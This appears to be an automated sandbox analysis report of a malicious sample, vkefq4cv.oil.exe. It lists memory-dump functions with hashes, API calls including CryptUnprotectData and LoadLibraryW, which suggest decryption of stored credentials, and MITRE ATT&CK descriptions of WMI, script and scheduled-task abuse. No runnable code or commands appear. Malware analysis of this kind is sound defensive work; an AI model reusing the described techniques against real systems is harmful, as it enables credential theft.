Opcode Fuzzy Hash: be39decb4412f77197896cc217462b7ae284b3bdc5e4b70bfb2031004d68de24
Instruction Fuzzy Hash: 5131E570D19A1D9FDB54EFA8C898BEDBBF1FF19301F1100699009E72A5DA785980CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4D48 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 166062cdd98293249228259c2d780c159764cc7f12eb20e541a9b7482f1e9201
Instruction ID: cfdc65850842468a32187a7fc69d1979ba572cdd142fd42449ba2d8c8a432de4
Opcode Fuzzy Hash: 166062cdd98293249228259c2d780c159764cc7f12eb20e541a9b7482f1e9201
Instruction Fuzzy Hash: 45311970E19A1D8FEBA8DB5888A4BA8B7F1FF58300F5141AAC00DE7295CB746D81CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4B99 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bacedffe5d7f3ef36fa8e8a23430fbc61e5f577892bc7faaceec8cdf61896394
Instruction ID: c7a3d38fb01986be6b1ff9729413bfea3cc5f199bc331fdab1be1600ff99d028
Opcode Fuzzy Hash: bacedffe5d7f3ef36fa8e8a23430fbc61e5f577892bc7faaceec8cdf61896394
Instruction Fuzzy Hash: 41316931E1961D8FDB94EFA4C8A57EDBBB0FF15311F4140AAD049E32A1CA386A85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4D71 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 738832f8ecb257bdb257fcc7f533f5794688aeb9643d595d50d7fff1e59b9a68
Instruction ID: 6af24f206b17d1ccde00a27effebbdeaaf8d3a30ad408838e9d5a159a934bb1f
Opcode Fuzzy Hash: 738832f8ecb257bdb257fcc7f533f5794688aeb9643d595d50d7fff1e59b9a68
Instruction Fuzzy Hash: F331F870E15A5D8FEB98EBA88895BA8BBF1FF58300F1141AAC00DE7295CA745D81CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4006 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e6bfbbb2e331932102d212d8a59c4d2045335c4cd5e7b35df1189514d7d127
Instruction ID: accef07474c9168772c8e075f28b617bf93028f78bbeb1a79b8a1ebb22363f86
Opcode Fuzzy Hash: d0e6bfbbb2e331932102d212d8a59c4d2045335c4cd5e7b35df1189514d7d127
Instruction Fuzzy Hash: 8931B270D1A25A9FC7A9DBB488657F9BBE0EF45310F0105BDD00AAB3E1DA781945CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4CE9 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d73d43fa83b306d6358e824926678154d1851c4a6a50ff764b0e0fd0a6a12f4b
Instruction ID: 74819076c7a194e5209ed282c16d8c9261903f240252ba027ce377bd82b51723
Opcode Fuzzy Hash: d73d43fa83b306d6358e824926678154d1851c4a6a50ff764b0e0fd0a6a12f4b
Instruction Fuzzy Hash: 80212271A2A64D9FEB559FA488613ECBFE0FF45320F02007EC4499B192CA695989CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A464A Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de7eb006aa9c1390bd2ac297c7cd1e1d9829658b93d5276640b520e59356c0bb
Instruction ID: a907a15ce43d2d0e309df2bf0af10617e32dc8b6c3cc3535eaced7a8c396e409
Opcode Fuzzy Hash: de7eb006aa9c1390bd2ac297c7cd1e1d9829658b93d5276640b520e59356c0bb
Instruction Fuzzy Hash: 8321CF3194E68D9FD7069BB494256E9BFF0EF42310F0140BAE04AD31A3CA6D5649C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A0A66 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9a1b42c4f1f0f6ad03d5cedaa4d6b36eb63ca6bdeb943661a22215425352a48
Instruction ID: e5d9f4e9ef2b20c7b267554c0deed1fe87b91df32ac30ee6fb471b29d75e6492
Opcode Fuzzy Hash: d9a1b42c4f1f0f6ad03d5cedaa4d6b36eb63ca6bdeb943661a22215425352a48
Instruction Fuzzy Hash: F621D86166EB866FC3469BB8442A1E9BFE0EF4623071744FDC045CB2B6DA9C0C07C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4637 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c3d418ec049ab2c5d40f35759e59a1e7c3e2955896f97f70e5fe72b59f13b28
Instruction ID: 695931f2bc4f047c829752b003beb407b58d464a56fc284fab8b33eec4178bff
Opcode Fuzzy Hash: 7c3d418ec049ab2c5d40f35759e59a1e7c3e2955896f97f70e5fe72b59f13b28
Instruction Fuzzy Hash: 85113231A4E68C8FD7129BA0A8216E9BFB0EF82320F0241BBD049D71A3CA6C5518C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A19B3 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b25d3bf0ddb2140e2d0c637f0e8e89d45c1fc243be8155e61079615ce94062a
Instruction ID: a52e0a4d1db18b060218aaeb94231b05f9b88dcb38d41044561734a6897e6494
Opcode Fuzzy Hash: 3b25d3bf0ddb2140e2d0c637f0e8e89d45c1fc243be8155e61079615ce94062a
Instruction Fuzzy Hash: 7F112971E1992D9FDBA8EF98C8A56ACB7B2FF5A340F110169D00DD72A2CE346941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A0A98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 516fa0fcf563e7502b36ef048a77f769a315f4307c6a5fa9cfde37c4e665117e
Instruction ID: 848d1a153d7bc92473c8bf97e9373e5d115ff623f131e1092214b1f9bbddc138
Opcode Fuzzy Hash: 516fa0fcf563e7502b36ef048a77f769a315f4307c6a5fa9cfde37c4e665117e
Instruction Fuzzy Hash: 1711B661169BC66FC7429BB854261EABFE0AF8623071781FDC0858B26AC69C0C47C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A3E25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0c4eb1f9427d98a312bc2194077f69165b9a5f07f5b9b7c1a86ce904bac9962
Instruction ID: 772ac662fc061a88d4e3143e9f68a1dac6c4e92d2aa22e32d88ace913fbd7700
Opcode Fuzzy Hash: c0c4eb1f9427d98a312bc2194077f69165b9a5f07f5b9b7c1a86ce904bac9962
Instruction Fuzzy Hash: 4E11C13155E7CD4FD752AB708D252E63BA0EF06310F4605BAD408C61E2DA6CA608C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A08DA Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1678aedde1a5041114cd5356c17fb708ce15d7af06989f1077b0fb5d4549885c
Instruction ID: 25a021820a233e4d8e28693eaef1096a24565ebc5485a59ac14954f8bb94e86c
Opcode Fuzzy Hash: 1678aedde1a5041114cd5356c17fb708ce15d7af06989f1077b0fb5d4549885c
Instruction Fuzzy Hash: 5211E97063690E9FD785DBB888666B9BFE0FF8531070244B9C01DCB2A1DA6C5C46C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A1A52 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e3f67ae3f45f92ecf6f6ea8b951e0b3115bc0136ecb8ca8545403f50b2d388
Instruction ID: 9da7a544c6110d606f1d1d80acda997ac1a238874a0a2a1d7e5ac2c0aee44186
Opcode Fuzzy Hash: e0e3f67ae3f45f92ecf6f6ea8b951e0b3115bc0136ecb8ca8545403f50b2d388
Instruction Fuzzy Hash: E001A571A1892D9FEFA4EB98D855AEDB7B1FF68300F50426AD00DE3265DE34A941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A4B4A Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac408666a1cb5e2d73458fb60c420996a955a32be679cd04086df66c4570fcbe
Instruction ID: b69c88e0235680669064c1902f2eb7bf91ca294b05cebd11d9798c02187b8963
Opcode Fuzzy Hash: ac408666a1cb5e2d73458fb60c420996a955a32be679cd04086df66c4570fcbe
Instruction Fuzzy Hash: D3F0E530A0621D5BDB588BF0D4217FEBBB0EF42311F11007DD40AB32C2C9685A54CA32

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A0B3E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c71c8d3532de62bb8cdbff4302ae04c4011b246200cd34637faaef3f333fc52
Instruction ID: f4ef6028fc3377fb942c3a3073fa61388d248a588d488ded6fa712bdf280748f
Opcode Fuzzy Hash: 4c71c8d3532de62bb8cdbff4302ae04c4011b246200cd34637faaef3f333fc52
Instruction Fuzzy Hash: 21F0A070A59A0E8FDB40EFB48869AADBFF0FF44300F11047DC01ACB2A5DE281881CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A2733 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693ada9da0799bc1bc6d75ebc3dd499bdc546a915b70d3ec56ccfba56ca49741
Instruction ID: 3d23793f4ed55bd11c177ac65c457e9f4d9b0a2fcef1e3f818f5a812881c04e2
Opcode Fuzzy Hash: 693ada9da0799bc1bc6d75ebc3dd499bdc546a915b70d3ec56ccfba56ca49741
Instruction Fuzzy Hash: 2BE08622B2DC2E0BE654A19C64502E453C2D7A82A0B1003B3D00DC3299DC19E94343C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9A0F8D Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cbf291c09360e29bab03cc79d26413cd54e451f0bf61c4e621fdd437804c4a
Instruction ID: a9d044faf333d3d54043ab0f6d21c214cbd3c235a0de651f2fc80bb1843f9393
Opcode Fuzzy Hash: e1cbf291c09360e29bab03cc79d26413cd54e451f0bf61c4e621fdd437804c4a
Instruction Fuzzy Hash: 41E0EC70A6591EAFD7E5EB7488297F8BBE0FF59340F0144FA841DC76A1DE241D898B00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B9A06F0 Relevance: 5.1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

Strings

L_^>, xrefs: 00007FFD9B9A076A
L_^@, xrefs: 00007FFD9B9A077A
L_^?, xrefs: 00007FFD9B9A0772
L_^=, xrefs: 00007FFD9B9A0762

Memory Dump Source

Source File: 00000004.00000002.1824290707.00007FFD9B9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b9a0000_vkefq4cv.jbxd

Similarity

API ID:
String ID: L_^=$L_^>$L_^?$L_^@
API String ID: 0-2868325183
Opcode ID: e95141f434f9991fbcc360e20ea75c866b31bfbf587b748225e8c677ba0dac08
Instruction ID: 955ecef61f80802e61a4063ee2c90d7462bc66f65df7cc0d723f7c65048b6be1
Opcode Fuzzy Hash: e95141f434f9991fbcc360e20ea75c866b31bfbf587b748225e8c677ba0dac08
Instruction Fuzzy Hash: 46215AB37281251AD3057BBD7856DDE3764DF81330B0959BBD1AE8A183CE25208ECBC5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vkefq4cv.oil.exePID: 7620, Parent PID: 7420COMMON

Execution Graph

Execution Coverage:	17%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	18.8%
Total number of Nodes:	16
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9B9784B1 Relevance: 1.8, APIs: 1, Instructions: 254
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32 ref: 00007FFD9B9786D3

Memory Dump Source

Source File: 0000000B.00000002.4411338309.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b970000_vkefq4cv.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 7e4528b8d686f6bb61b2b5b7c90d0021ecbf05e29040986980cbecbb50a4877b
Instruction ID: ebdaac709d0823b17279c0146e5a8c0f24dcc9a7df4376bc8fbfc9f98a51b610
Opcode Fuzzy Hash: 7e4528b8d686f6bb61b2b5b7c90d0021ecbf05e29040986980cbecbb50a4877b
Instruction Fuzzy Hash: A0815B70E18A5D8FDBA8DF18C895BE9B7F1FB59300F0042AAD449E3251DB75A9848F41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9785FD Relevance: 1.6, APIs: 1, Instructions: 118
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32 ref: 00007FFD9B9786D3

Memory Dump Source

Source File: 0000000B.00000002.4411338309.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b970000_vkefq4cv.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: c3881c51f463b490d339e882bbdd6d72c8aa1a497968fa09899d2287fbe916f8
Instruction ID: 98ccdb9ad51403df795bfda0a047397b92dea7c45df52c8fad5a19197375fb86
Opcode Fuzzy Hash: c3881c51f463b490d339e882bbdd6d72c8aa1a497968fa09899d2287fbe916f8
Instruction Fuzzy Hash: 5D41B730A18A1D8FDBA8DF18C895BE9B7B1FB59300F0146A9D44DE3255DB74AA84CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B975F48 Relevance: 1.9, APIs: 1, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.4411338309.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b970000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524aaa23c04715c661194df004783ca30df59e261b849a930d1c19edf018366b
Instruction ID: f1cc17e7ff153e61551ba7b163927c10f1d53f96bc8e9ee4b77a7c2f85d3a583
Opcode Fuzzy Hash: 524aaa23c04715c661194df004783ca30df59e261b849a930d1c19edf018366b
Instruction Fuzzy Hash: 48B1B130A1DA0D8FDB68DF98D895AA9B7F1FF5A310F15417ED04ED3262DA35A842CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B976B88 Relevance: 1.7, APIs: 1, Instructions: 160
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 00007FFD9B976C79

Memory Dump Source

Source File: 0000000B.00000002.4411338309.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ffd9b970000_vkefq4cv.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0a6ce025fd969849706a88d28a03e1c19c5aa4fd28ad9a232c56fbe9284ffd93
Instruction ID: 6b89e12540bdcc902b888d3f660feee386d4dab47fa1a4ec39597fbcd9b38d51
Opcode Fuzzy Hash: 0a6ce025fd969849706a88d28a03e1c19c5aa4fd28ad9a232c56fbe9284ffd93
Instruction Fuzzy Hash: A551F870A08A1C8FDB98EF98D899BE9BBF1FB59311F10416ED00DE7251DB71A985CB40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vkefq4cv.oil.exePID: 8072, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	18.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B9784A1 Relevance: 1.8, APIs: 1, Instructions: 332encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00007FFD9B9786C3

Memory Dump Source

Source File: 00000012.00000002.2078687625.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffd9b970000_vkefq4cv.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 6c53b44100e0fe3a450e4aab560d0a093424d46f1c5f24ac28121b5d20bbce97
Instruction ID: f422de9b7ee96bd28a16f7a12d90e87969ae9112dd7ee46ad54ca07bf8d20d96
Opcode Fuzzy Hash: 6c53b44100e0fe3a450e4aab560d0a093424d46f1c5f24ac28121b5d20bbce97
Instruction Fuzzy Hash: 29B14070E1861D8FDBA8DF18C895BE9B7F1FB59310F0042AAD40DE3251DB75AA858F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B976C81 Relevance: 1.7, APIs: 1, Instructions: 183libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00007FFD9B976D99

Memory Dump Source

Source File: 00000012.00000002.2078687625.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffd9b970000_vkefq4cv.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 05a12b71d90c389a5061528e5592353ad37dd8e1589fcd403bab3616e3cd9874
Instruction ID: 653cfe6e7c8246021d1bb0154421c99c5011c46fc0ecc5ba0732b57e853cd10f
Opcode Fuzzy Hash: 05a12b71d90c389a5061528e5592353ad37dd8e1589fcd403bab3616e3cd9874
Instruction Fuzzy Hash: B6518E70908A1C8FDB98EF98D899BE9BBF0FB59311F00416ED00DE7261DB759985CB40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vkefq4cv.oil.exePID: 7712, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9B9869DA Relevance: 1.9, APIs: 1, Instructions: 363
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2317144357.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b980000_vkefq4cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d3b4d675379b651e45ceb2557fecdc9ab7b3f8176ed0cdef746ada81e33898b
Instruction ID: 481e527f09d10117876f0e29c19e6fd5ad1a29423720c756d5d84939f9961fa6
Opcode Fuzzy Hash: 7d3b4d675379b651e45ceb2557fecdc9ab7b3f8176ed0cdef746ada81e33898b
Instruction Fuzzy Hash: BFB1C130A1DA0D8FDB68DF98D895AA9BBF1FF59314F10417ED04EC7262DA35A846CB40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vkefq4cv.oil.exePID: 125704, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	14.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9B966B09 Relevance: 1.9, APIs: 1, Instructions: 365
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00007FFD9B966D99

Memory Dump Source

Source File: 0000002C.00000002.3022144022.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_7ffd9b960000_vkefq4cv.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2c24db07aab678debe8b8ba3d7d3de779a99ef58e52674e41af98b0a4296da6b
Instruction ID: 39828c84d56ca249c73cbaf1452e14b6a0104001753113202972af9b4417ae4c
Opcode Fuzzy Hash: 2c24db07aab678debe8b8ba3d7d3de779a99ef58e52674e41af98b0a4296da6b
Instruction Fuzzy Hash: 7FB1A030A1DA0D8FDB68DF58D895BA8BBF1FF59310F14016ED04ED7262DA35A846CB41

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vkefq4cv.oil.exePID: 325468, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B9962E9 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 837
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L_^, xrefs: 00007FFD9B996301

Memory Dump Source

Source File: 0000002D.00000002.3590481242.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ffd9b990000_vkefq4cv.jbxd

Similarity

API ID:
String ID: L_^
API String ID: 0-3811526842
Opcode ID: bccf717a1a41f638d836235d1dd18ad397882737f662211e62c5a5597eb950ac
Instruction ID: efa8d3e86fd26ab1bb3f634bf3ad67e8eff02aa5fa0baa99dbdb5458bd9fa41c
Opcode Fuzzy Hash: bccf717a1a41f638d836235d1dd18ad397882737f662211e62c5a5597eb950ac
Instruction Fuzzy Hash: B8C1D231A1DA0D8FDBA9DF58D895AA87BF0FF56310F0441BED04DC72A2DA35A846CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B996898 Relevance: 1.7, APIs: 1, Instructions: 156
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00007FFD9B996989

Memory Dump Source

Source File: 0000002D.00000002.3590481242.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ffd9b990000_vkefq4cv.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 57cdd435a7331c816b4020a5d30e532d28ac4866cd15eb027aeb20e563ad90da
Instruction ID: 18ddc29c45fea65db4833ce0c34db5257c85d8bc56dbcb68a56a8a74e8428933
Opcode Fuzzy Hash: 57cdd435a7331c816b4020a5d30e532d28ac4866cd15eb027aeb20e563ad90da
Instruction Fuzzy Hash: 7C411770A08A1C8FDB98EF98D899BE9BBF1FB59301F10416ED00DE7251DB759985CB40

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
